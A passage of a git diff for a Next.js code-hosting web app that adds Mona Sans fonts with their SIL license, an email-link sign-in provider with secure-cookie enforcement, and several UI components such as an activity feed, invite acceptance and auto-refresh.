under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting — in part or in whole — any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. \ No newline at end of file diff --git a/web/apps/web/src/app/fonts/LICENSE-MonaSans.txt b/web/apps/web/src/app/fonts/LICENSE-MonaSans.txt new file mode 100644 index 00000000..c2bdb909 --- /dev/null +++ b/web/apps/web/src/app/fonts/LICENSE-MonaSans.txt @@ -0,0 +1,93 @@ +Copyright (c) 2023, GitHub https://github.com/github/mona-sans +with Reserved Font Name "Mona Sans" + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +http://scripts.sil.org/OFL + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting — in part or in whole — any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/web/apps/web/src/app/fonts/MonaSansMonoVF.woff2 b/web/apps/web/src/app/fonts/MonaSansMonoVF.woff2 new file mode 100644 index 00000000..ce7ca033 Binary files /dev/null and b/web/apps/web/src/app/fonts/MonaSansMonoVF.woff2 differ diff --git a/web/apps/web/src/app/fonts/MonaSansVF.woff2 b/web/apps/web/src/app/fonts/MonaSansVF.woff2 new file mode 100644 index 00000000..f12b5e3d Binary files /dev/null and b/web/apps/web/src/app/fonts/MonaSansVF.woff2 differ diff --git a/web/apps/web/src/app/global-error.tsx b/web/apps/web/src/app/global-error.tsx new file mode 100644 index 00000000..a275c257 --- /dev/null +++ b/web/apps/web/src/app/global-error.tsx @@ -0,0 +1,39 @@ +"use client"; + +import { useEffect } from "react"; +import "./globals.css"; + +/** The boundary UNDER the root layout: what renders when the layout itself threw (a font, the + * theme provider), which no route group's `error.tsx` can catch. It replaces the whole document, + * so it carries its own `html`/`body` and its own stylesheet, and stays plain — the shell's + * Button and tokens come from the tree that just failed. */ +export default function GlobalError({ error, reset }: { error: Error & { digest?: string }; reset: () => void }) { + // The only place the real error goes; see `(shell)/error.tsx` for why it is not rendered. + useEffect(() => console.error(error), [error]); + + return ( + + +
+
+

+ Something went wrong +

+

This page could not be loaded.

+

The service is unavailable. Try again.

+ {error.digest && ( +

Reference {error.digest}

+ )} + +
+
+ + + ); +} diff --git a/web/apps/web/src/app/globals.css b/web/apps/web/src/app/globals.css index ea284f9e..28b5e5e4 100644 --- a/web/apps/web/src/app/globals.css +++ b/web/apps/web/src/app/globals.css @@ -6,7 +6,7 @@ @theme inline { --color-background: var(--background); --color-foreground: var(--foreground); - --font-sans: var(--font-open-sans); + --font-sans: var(--font-sans-brand); /* Type scale — integer steps, on the same rungs GitHub, Linear and shadcn use. Open Sans has a wide, tall x-height, so 13px does the work 14px does in @@ -30,9 +30,9 @@ /* Measures. */ /* Wide enough for a file listing with a last-commit column beside an About - rail. 1120 left the code browser cramped on a laptop while the page sat in a - sea of margin. */ - --container-page: 1400px; + rail. 1400 was tried and read as too wide: past this, rows stretch and the + eye has to travel the whole width to tie a filename to its commit. */ + --container-page: 1120px; --container-prose: 560px; --container-headline: 640px; --container-readme: 760px; @@ -49,7 +49,6 @@ --grid-template-columns-scopes: minmax(0, 1fr) 140px 140px; /* Workspaces: who/what, code, environment, active, actions. */ --grid-template-columns-workspaces: minmax(0, 1.5fr) minmax(0, 1fr) minmax(0, 1fr) 110px auto; - --grid-template-rows-swatch: 10px minmax(0, 1fr); /* Height left for a sticky side column under 96px of chrome and the page's top padding. */ --height-sidecol: calc(100svh - 8rem); @@ -62,22 +61,13 @@ --duration-fast: 120ms; --duration-slow: 260ms; - /* Fixed swatches for the theme picker: previews of each theme, drawn the same - whichever theme is live. Values mirror the light and dark ground/muted tokens. */ - --color-swatch-light: #FFFFFF; - --color-swatch-light-ui: #F4F4F5; - --color-swatch-light-edge: #E4E4E7; - --color-swatch-dark: #09090B; - --color-swatch-dark-ui: #27272A; - --color-swatch-dark-edge: #3F3F46; - /* Hairlines drawn on top of the page rather than the --border token: one for dividing content, a slightly stronger one for a control's own edge. */ --color-rule: var(--rule); --color-edge: var(--edge); --color-edge-hover: var(--edge-hover); --font-mono: var(--font-mono-brand); - --font-heading: var(--font-open-sans); + --font-heading: var(--font-heading-brand); --color-sidebar-ring: var(--sidebar-ring); --color-sidebar-border: var(--sidebar-border); --color-sidebar-accent-foreground: var(--sidebar-accent-foreground); @@ -150,6 +140,23 @@ --warning: oklch(0.681 0.162 75.8); --border: #E4E4E7; /* zinc-200 */ + /* Landing environment panel. Each is "some of an accent over the card", and the amount + that reads as a tint on a white card vanishes on a near-black one — so the amounts are + tokens with a dark override, not numbers in the component. */ + --ep-tint: color-mix(in oklab, var(--primary) 7%, var(--card)); + --ep-tint-edge: color-mix(in oklab, var(--primary) 28%, var(--card)); + --ep-green-tint: color-mix(in oklab, var(--success) 9%, var(--card)); + --ep-green-edge: color-mix(in oklab, var(--success) 30%, var(--card)); + --ep-head-bg: color-mix(in oklab, var(--foreground) 2%, var(--card)); + --ep-sub-bg: color-mix(in oklab, var(--foreground) 1%, var(--card)); + --ep-top-bg: color-mix(in oklab, var(--primary) 5%, var(--card)); + --ep-ring-blue: color-mix(in oklab, var(--primary) 22%, var(--card)); + --ep-ring-green: color-mix(in oklab, var(--success) 24%, var(--card)); + --ep-stub: color-mix(in oklab, var(--muted-foreground) 45%, transparent); + --ep-faint: color-mix(in oklab, var(--muted-foreground) 72%, transparent); + /* Idle connector lines and the idle ring. The border colour works on white; on a dark card + a 1.5px line in zinc-800 over zinc-900 is not a line. */ + --ep-line: var(--border); --input: #E4E4E7; --ring: lab(45.9581 5.32949 -68.5289); /* focus ring is the brand blue */ @@ -201,6 +208,19 @@ --warning: oklch(0.769 0.155 70.1); --border: #27272A; + /* Roughly double the light amounts: a tint has to lift off a dark card, not sink into it. */ + --ep-tint: color-mix(in oklab, var(--primary) 16%, var(--card)); + --ep-tint-edge: color-mix(in oklab, var(--primary) 55%, var(--card)); + --ep-green-tint: color-mix(in oklab, var(--success) 16%, var(--card)); + --ep-green-edge: color-mix(in oklab, var(--success) 55%, var(--card)); + --ep-head-bg: color-mix(in oklab, var(--foreground) 6%, var(--card)); + --ep-sub-bg: color-mix(in oklab, var(--foreground) 3%, var(--card)); + --ep-top-bg: color-mix(in oklab, var(--primary) 12%, var(--card)); + --ep-ring-blue: color-mix(in oklab, var(--primary) 40%, var(--card)); + --ep-ring-green: color-mix(in oklab, var(--success) 40%, var(--card)); + --ep-stub: color-mix(in oklab, var(--muted-foreground) 65%, transparent); + --ep-faint: color-mix(in oklab, var(--muted-foreground) 88%, transparent); + --ep-line: color-mix(in oklab, var(--muted-foreground) 38%, var(--card)); --input: #3F3F46; /* zinc-700 — a control must read as one */ --ring: lab(58.2208 -0.880748 -64.1696); @@ -330,7 +350,7 @@ @apply bg-background text-foreground; } html { - font-family: var(--font-open-sans), ui-sans-serif, system-ui, sans-serif; + font-family: var(--font-sans-brand), ui-sans-serif, system-ui, sans-serif; /* The window scrolls, natively. Wrapping the page in a ScrollArea to restyle its bar cost the page its scrolling entirely — Radix sets the viewport to overflow:hidden until it decides otherwise, and it is built for a bounded @@ -352,30 +372,19 @@ code, kbd, samp, pre, .font-mono { font-family: var(--font-mono-brand), ui-monospace, SFMono-Regular, monospace; } -} -/* ── landing loop visual ─────────────────────────────────────────── - Two concentric orbits at different speeds: the long loop a change - normally takes, and the short one it takes here. - ------------------------------------------------------------------ */ -@keyframes kl-orbit { - to { transform: rotate(360deg); } -} -@keyframes kl-pulse { - 0%, 100% { opacity: 0.3; } - 50% { opacity: 1; } -} -/* Rotates about the viewBox centre, so a child anywhere on the ring orbits it. */ -.kl-orbit { - transform-box: view-box; - transform-origin: 160px 160px; - animation: kl-orbit var(--kl-duration, 6s) linear infinite; -} -.kl-pulse { - animation: kl-pulse 2.4s ease-in-out infinite; -} -@media (prefers-reduced-motion: reduce) { - .kl-orbit, - .kl-pulse { - animation: none; + /* Headings in the display face. Base layer, so any utility on the element still wins — + a heading that wants the text face says `font-sans`. `.font-heading` stays for the few + non-heading elements (dialog titles) that want the display face without the tag. */ + h1, h2, h3, .font-heading { + font-family: var(--font-heading-brand), var(--font-sans-brand), ui-sans-serif, system-ui, sans-serif; } } +/* ── environment panel (landing hero) ────────────────────────────── + Live "working environment" panel. Motion is intentionally NOT gated + on prefers-reduced-motion: it carries the product's story and the + product owner wants it to always play. ------------------------------ */ +@keyframes ep-blink { 0%, 100% { opacity: 1; } 50% { opacity: .25; } } +@keyframes ep-spin { to { transform: rotate(360deg); } } +@keyframes ep-flowY { to { background-position: 0 22px; } } +@keyframes ep-flowX { to { background-position: 22px 0; } } +@keyframes ep-fade { from { opacity: 0; } to { opacity: 1; } } diff --git a/web/apps/web/src/app/layout.tsx b/web/apps/web/src/app/layout.tsx index b4d98823..2307d803 100644 --- a/web/apps/web/src/app/layout.tsx +++ b/web/apps/web/src/app/layout.tsx @@ -1,20 +1,35 @@ import type { Metadata } from "next"; -import { Open_Sans, JetBrains_Mono } from "next/font/google"; +import localFont from "next/font/local"; import { ThemeProvider } from "@/components/theme-provider"; import { TooltipProvider } from "@/components/ui/tooltip"; import "./globals.css"; -const sans = Open_Sans({ - variable: "--font-open-sans", - subsets: ["latin"], - weight: ["400", "500", "600", "700"], +// GitHub's type: Mona Sans for text, Hubot Sans for headings, Mona Sans Mono for code. All +// three are variable fonts under the SIL OFL (licenses beside the files), self-hosted so a +// page never waits on a third-party font host. The width axis is declared through +// `font-stretch`, which is what makes the condensed/expanded cuts one file rather than three. +// Hubot Sans ships its variable cut as TTF only (~700 KB); it is heading-only and loads with +// `swap`, so text never waits on it. ponytail: convert to woff2 if that size ever shows up. +const sans = localFont({ + src: "./fonts/MonaSansVF.woff2", + variable: "--font-sans-brand", + weight: "200 900", + declarations: [{ prop: "font-stretch", value: "75% 125%" }], display: "swap", }); -const mono = JetBrains_Mono({ +const heading = localFont({ + src: "./fonts/HubotSansVF.ttf", + variable: "--font-heading-brand", + weight: "200 900", + declarations: [{ prop: "font-stretch", value: "75% 125%" }], + display: "swap", +}); + +const mono = localFont({ + src: "./fonts/MonaSansMonoVF.woff2", variable: "--font-mono-brand", - subsets: ["latin"], - weight: ["400", "500", "600"], + weight: "200 900", display: "swap", }); @@ -29,7 +44,7 @@ export default function RootLayout({ return ( // suppressHydrationWarning: the theme script sets `class` on before React // hydrates, which is the whole point — it prevents a flash of the wrong theme. - + {children} diff --git a/web/apps/web/src/auth.ts b/web/apps/web/src/auth.ts index ba369ad2..79c59d6b 100644 --- a/web/apps/web/src/auth.ts +++ b/web/apps/web/src/auth.ts @@ -3,7 +3,7 @@ import GitHub from "next-auth/providers/github"; import Google from "next-auth/providers/google"; import Credentials from "next-auth/providers/credentials"; import { signIn as apiSignIn } from "@/lib/api"; -import { verifyAssertion } from "@/lib/passkey"; +import { verifyAssertion } from "@/lib/assertion"; /** Email + shared password, for a deployment that has no OAuth provider yet. * Registered only when both halves are configured, so it cannot exist by @@ -46,9 +46,20 @@ function previewCredentials() { * The stock Passkey provider is not used because it requires an Adapter, and an * Adapter means a database connection in the browser-facing process. */ function passkeyProvider() { + return assertionProvider("passkey", "Passkey"); +} + +/** A magic link, the same way: clicking the link proves possession of the inbox, the server + * redeems the token with the api and only then mints the assertion. The email is verified + * by the click — there is nothing else to verify. */ +function emailLinkProvider() { + return assertionProvider("email-link", "Email link"); +} + +function assertionProvider(id: string, name: string) { return Credentials({ - id: "passkey", - name: "Passkey", + id, + name, credentials: { assertion: {} }, authorize(raw) { const assertion = String(raw?.assertion ?? ""); @@ -77,6 +88,7 @@ function providers() { // Always available: a passkey needs no configuration, only a browser that has // one. Whether anyone HAS one is answered by the browser, not by env vars. list.push(passkeyProvider()); + list.push(emailLinkProvider()); return list; } @@ -87,16 +99,40 @@ export const passwordSignIn = Boolean( process.env.AUTH_ALLOWED_EMAILS?.trim() && process.env.AUTH_SHARED_PASSWORD, ); +/** Whether a sign-in link can actually be emailed. Without it the email step has nowhere to + * go and says so, rather than minting links nobody receives. */ +export const emailLinkSignIn = Boolean(process.env.RESEND_API_KEY && process.env.RESEND_FROM); + export const enabledProviders = { github: Boolean(process.env.AUTH_GITHUB_ID && process.env.AUTH_GITHUB_SECRET), google: Boolean(process.env.AUTH_GOOGLE_ID && process.env.AUTH_GOOGLE_SECRET), }; +/** One decision about the session cookie, made here and read back by + * `lib/api-token.ts`. Auth.js would pick the same defaults from AUTH_URL, but + * two places deriving the same answer is how they come to differ. */ +// AUTH_URL must be set (deploy/rustic-git-web.yaml does): behind a TLS proxy the +// request itself looks like http, so an unset AUTH_URL silently drops `Secure` — +// the one failure mode here that is invisible everywhere it does not matter and +// catastrophic in the one place it does. In production that is a refusal, not a +// default: an unset value means a misconfigured rollout, and failing to boot is +// how that gets noticed instead of shipping non-Secure session cookies for a week. +const authUrl = process.env.AUTH_URL ?? ""; +// `next build` runs this module to prerender, with NODE_ENV=production and no +// deployment env — so the check is scoped to serving, which is when it is true. +if (process.env.NODE_ENV === "production" && process.env.NEXT_PHASE !== "phase-production-build" && !authUrl) { + throw new Error("AUTH_URL is required in production (without it the session cookie loses `Secure`)"); +} +export const secureCookies = authUrl.startsWith("https"); +export const sessionCookie = secureCookies ? "__Secure-authjs.session-token" : "authjs.session-token"; + export const { handlers, auth, signIn, signOut, unstable_update: updateSession } = NextAuth({ providers: providers(), /* JWT sessions: no database needed to sign in. An adapter can be added later without changing any caller of auth(). */ session: { strategy: "jwt" }, + useSecureCookies: secureCookies, + cookies: { sessionToken: { name: sessionCookie } }, pages: { signIn: "/login", newUser: "/signup", error: "/login" }, callbacks: { /** The identity the rest of the app runs on comes from the api server, not @@ -121,6 +157,15 @@ export const { handlers, auth, signIn, signOut, unstable_update: updateSession } // alone, the session stays valid while its api token quietly dies — and // every page then renders empty, because a rejected call has no data to // show. Re-minted a minute before expiry so that never happens. + // + // A token the api refuses BEFORE that window (rotated secret, revoked + // user) cannot be detected here — this callback never calls the api with + // it. The refusal surfaces where the call is made: `lib/api.ts` answers + // `unauthorized`, the caller redirects to /login?from=expired, and that + // page offers sign-out. Signing in again runs the branch below and mints a + // fresh token. Probing the api from here instead would add a round trip to + // every request that touches the session, to catch a rare case the + // existing redirect already handles. const expiresAt = (token.apiTokenExp as number | undefined) ?? 0; const stale = Date.now() > expiresAt - 60_000; diff --git a/web/apps/web/src/components/app/accept-invite.tsx b/web/apps/web/src/components/app/accept-invite.tsx new file mode 100644 index 00000000..49c13f7e --- /dev/null +++ b/web/apps/web/src/components/app/accept-invite.tsx @@ -0,0 +1,47 @@ +"use client"; + +import { useActionState } from "react"; +import { Loader2 } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Badge } from "@/components/ui/badge"; +import type { ApiInvitePreview } from "@/lib/api"; +import { accept, type AcceptState } from "@/app/(shell)/invite/[token]/actions"; + +export function AcceptInvite({ token, preview, me }: { token: string; preview: ApiInvitePreview | null; me: string }) { + const [state, action, pending] = useActionState(accept, null); + if (!preview) { + return ( +
+

This invitation is no longer open

+

+ It may have been used already, withdrawn, or expired — invitations last seven days. + Ask whoever sent it for a new one. +

+
+ ); + } + const mismatch = preview.email.toLowerCase() !== me.toLowerCase(); + return ( +
+

Join {preview.teamName}

+

+ {preview.invitedBy} invited {preview.email} to + join as {preview.role}. +

+ {mismatch ? ( + // Said before they click, not after: the api would refuse it anyway. +

+ You are signed in as {me}. Sign in as {preview.email} to accept. +

+ ) : ( +
+ + {state?.error &&

{state.error}

} +
+ +
+
+ )} +
+ ); +} diff --git a/web/apps/web/src/components/app/activity-feed.tsx b/web/apps/web/src/components/app/activity-feed.tsx new file mode 100644 index 00000000..c625bb82 --- /dev/null +++ b/web/apps/web/src/components/app/activity-feed.tsx @@ -0,0 +1,78 @@ +import Link from "next/link"; +import { ArrowRight, GitCommitHorizontal, GitMerge, GitPullRequest, FolderPlus } from "lucide-react"; +import { displayName } from "@/lib/person"; +import { whenSeconds } from "@/lib/time"; +import type { ApiEvent } from "@/lib/api"; + +const ICON = { + commit: GitCommitHorizontal, + pull_opened: GitPullRequest, + pull_merged: GitMerge, + repo_created: FolderPlus, +} as const; + +/** What has happened lately, newest first. + * + * Every row is something that actually happened: a commit that is in the repo, a + * change somebody opened, a repo that exists. There are no deploys or pipeline + * runs here because nothing in this system runs one — a feed that invents them + * is worse than a short feed, since a reader cannot tell which rows to trust. */ +export function ActivityFeed({ + events, + more, +}: { + events: ApiEvent[]; + /** Where "View more" goes — the home feed, which loads more in place. Absent there. */ + more?: string; +}) { + if (events.length === 0) { + return ( +
+

Nothing yet

+

+ Pushes, changes and new repositories show up here. +

+
+ ); + } + + return ( +
+
    + {events.map((e, i) => { + const Icon = ICON[e.kind] ?? GitCommitHorizontal; + return ( +
  • + + +
    +

    + {e.actor && {displayName(e.actor)}} {e.title} +

    +

    + {e.repo} + {e.detail && ( + <> + · + {e.detail} + + )} +

    +
    + {whenSeconds(e.at)} + +
    • + ); + })} +
+ {more && ( + + View more + + )} +
+ ); +} diff --git a/web/apps/web/src/components/app/add-key-dialog.tsx b/web/apps/web/src/components/app/add-key-dialog.tsx index 546ea434..a251107b 100644 --- a/web/apps/web/src/components/app/add-key-dialog.tsx +++ b/web/apps/web/src/components/app/add-key-dialog.tsx @@ -1,6 +1,7 @@ "use client"; -import { useActionState, useState } from "react"; +import { useActionState } from "react"; +import { useDialogUntilSuccess } from "@/lib/use-dialog-until-success"; import { Loader2, Plus } from "lucide-react"; import { Button } from "@/components/ui/button"; import { @@ -9,7 +10,7 @@ import { import { Input } from "@/components/ui/input"; import { Textarea } from "@/components/ui/textarea"; import { FieldLabel } from "@/components/auth/auth-card"; -import { addSshKey, type AddKeyState } from "@/app/settings/actions"; +import { addSshKey, type AddKeyState } from "@/app/(shell)/settings/actions"; import { OwnerSelect } from "@/components/app/owner-select"; import type { SwitcherOwner } from "@/components/app/team-switcher"; @@ -25,11 +26,7 @@ export function AddKeyDialog({ signing?: boolean; }) { const [state, action, pending] = useActionState(addSshKey, null); - // Open is "the user opened it since the last successful submit": track which - // result was current when it was opened, and a new success closes it. - const [openedOn, setOpenedOn] = useState(undefined); - const open = openedOn !== undefined && !(state?.ok && state !== openedOn); - const setOpen = (next: boolean) => setOpenedOn(next ? state : undefined); + const [open, setOpen] = useDialogUntilSuccess(state); return ( diff --git a/web/apps/web/src/components/app/app-shell.tsx b/web/apps/web/src/components/app/app-shell.tsx index e12a5ea0..e624be35 100644 --- a/web/apps/web/src/components/app/app-shell.tsx +++ b/web/apps/web/src/components/app/app-shell.tsx @@ -1,118 +1,99 @@ import Link from "next/link"; -import { CircleDot, Code, GitPullRequest, Settings } from "lucide-react"; +import { Boxes, Camera, CircleDot, Code, Container, GitPullRequest, Settings, Tag } from "lucide-react"; import { Logo } from "@/components/brand/logo"; -import { sections, settingsSection } from "@/components/app/sections"; import { UserMenu } from "@/components/app/user-menu"; -import { NavTabs, type NavTab } from "@/components/app/nav-tabs"; import { GlobalSearch } from "@/components/app/global-search"; -import { TeamSwitcher } from "@/components/app/team-switcher"; +import { ShellState } from "@/components/app/shell-context"; +import { ShellCrumb, ShellTabs, type RepoTabSpec } from "@/components/app/shell-nav"; import { ownersFor } from "@/lib/owners"; import { ScrollArea } from "@/components/ui/scroll-area"; import type { Session } from "@/lib/session"; -import { Badge } from "@/components/ui/badge"; -/** What the tab row is about. At the org, it lists the org's sections; inside a - * repo it lists the repo's. The breadcrumb grows one segment to say which. Chrome - * never gains a third row: anything deeper navigates inside the content. */ -export type ShellContext = - | { kind: "org" } - | { kind: "repo"; name: string; visibility: "public" | "private" }; +/** The repo's tabs, as suffixes — which repo they belong to is a fact about the + * URL, and the shell reads that itself. */ +const REPO_TABS: RepoTabSpec[] = [ + { suffix: "", label: "Code", icon: }, + { suffix: "/issues", label: "Issues", icon: }, + { suffix: "/pulls", label: "Pull requests", icon: }, + // "Repo settings", not "Settings": the user, a team, a repo and an image each have a settings + // page, and a tab that just says "Settings" leaves the person guessing which one they are on. + { suffix: "/settings", label: "Repo settings", icon: , end: true }, +]; -/** Which section an item belongs to, so the breadcrumb can say so. A repo, a - * workspace and an environment can share a name; the section is what tells - * them apart, and it is also the list the item came from. */ -function sectionOf(context: ShellContext, owner: string) { - if (context.kind === "repo") return sections(owner).find((s) => s.label === "Code Repos")!; - return null; -} - -function repoTabs(owner: string, repo: string): NavTab[] { - const base = `/${owner}/${repo}`; - return [ - { href: base, label: "Code", icon: }, - { href: `${base}/issues`, label: "Issues", icon: }, - { href: `${base}/pulls`, label: "Pull requests", icon: }, - { href: `${base}/settings`, label: "Settings", icon: , end: true }, - ]; -} +/** An image's tabs, same shape as `REPO_TABS` — which image they belong to is a + * fact about the URL, read by the shell itself. */ +const IMAGE_TABS: RepoTabSpec[] = [ + { suffix: "", label: "Details", icon: }, + { suffix: "/tags", label: "Tags", icon: }, + { suffix: "/settings", label: "Image settings", icon: , end: true }, +]; -function orgTabs(owner: string): NavTab[] { - return [...sections(owner), settingsSection(owner)].map(({ href, label, icon: Icon }, i, all) => ({ - href, - label, - icon: , - end: i === all.length - 1, - })); -} +/** An environment's tabs. `exact` on Services because its href is a prefix of Snapshots — the + * same rule Home follows in `sections`. */ +const ENV_TABS: RepoTabSpec[] = [ + // "Live services", not "Services": these are the containers running RIGHT NOW, which is a + // different thing from the service list a snapshot recorded. + { suffix: "", label: "Live services", icon: , exact: true }, + { suffix: "/snapshots", label: "Snapshots", icon: }, + // Constant for an archived environment too: the page there is the Danger zone alone, and a tab + // row that loses a tab reads as a page that failed to load. + { suffix: "/settings", label: "Settings", icon: , end: true }, +]; +/** + * The chrome, mounted ONCE for every signed-in page. + * + * It is a layout and nothing renders a second one, because a tab row that is torn + * down and rebuilt cannot animate — it can only reappear somewhere else. That is + * also why neither the tabs nor the owner are passed in: a page being replaced + * beneath the shell cannot hand it anything. The shell reads the URL and decides + * for itself, which it can do because the names the namespace has spent are not + * legal repo names. All this server component contributes is what the URL cannot + * say: who is signed in, which namespaces they can act in, and what is in them. + * + * Chrome never gains a third row: anything deeper navigates inside the content. + */ export async function AppShell({ session, - context = { kind: "org" }, children, }: { session: NonNullable; - context?: ShellContext; children: React.ReactNode; }) { - const owner = session.user.owner; - const tabs = context.kind === "repo" ? repoTabs(owner, context.name) : orgTabs(owner); + const me = session.user.owner; const owners = await ownersFor(session); return ( -
- {/* Chrome is a flex sibling of the scroll region, not sticky inside it: the - header never scrolls, and the scrollbar belongs to the content alone. */} -
-
- - - - / + +
+ {/* Chrome is a flex sibling of the scroll region, not sticky inside it: the + header never scrolls, and the scrollbar belongs to the content alone. */} +
+
+ + + + / - {context.kind === "org" ? ( - - ) : ( - <> - - - {owner} - - / - {(() => { - const section = sectionOf(context, owner)!; - const Icon = section.icon; - return ( - - - {section.label} - - ); - })()} - / - - {context.name} - - {context.visibility} - - - - )} + -
+
- - -
+ + +
- -
+ +
- {children} -
+ {children} +
+ ); } diff --git a/web/apps/web/src/components/app/auto-refresh.tsx b/web/apps/web/src/components/app/auto-refresh.tsx new file mode 100644 index 00000000..384d38d6 --- /dev/null +++ b/web/apps/web/src/components/app/auto-refresh.tsx @@ -0,0 +1,44 @@ +"use client"; + +import { useEffect } from "react"; +import { useRouter } from "next/navigation"; + +/** + * Re-fetch the current page's server components on an interval, so state that changes outside the + * browser — a workspace finishing provisioning, an environment stopping, a merge landing — appears + * without the user pressing reload. + * + * `router.refresh()` rather than a reload: it re-runs the server components and reconciles the + * result into the existing tree, so open dialogs, form fields and scroll position survive. A real + * reload would throw away what the user was typing every few seconds. + * + * Mounted once in the shell layout, which wraps every signed-in page. A layout stays mounted while + * the page beneath it changes, so this is one timer for the whole session rather than one per + * route — and pages that show nothing time-varying cost only the refetch. + * + * Paused while the tab is hidden, and refreshed once on becoming visible again: a backgrounded tab + * that keeps polling is load on the API for something nobody is looking at, and the state a user + * cares about is the state when they look back. + * + * ponytail: polling, not a stream. A watch or SSE would be pushed rather than pulled, but it needs + * an endpoint, a connection per tab and a reconnect story; this is four lines and correct. Swap it + * when the refetch cost shows up in the API's own numbers, not before. + */ +export function AutoRefresh({ intervalMs = 10_000 }: { intervalMs?: number }) { + const router = useRouter(); + + useEffect(() => { + const tick = () => { + if (document.visibilityState === "visible") router.refresh(); + }; + const id = setInterval(tick, intervalMs); + // Coming back to the tab should not wait out the rest of the interval. + document.addEventListener("visibilitychange", tick); + return () => { + clearInterval(id); + document.removeEventListener("visibilitychange", tick); + }; + }, [router, intervalMs]); + + return null; +} diff --git 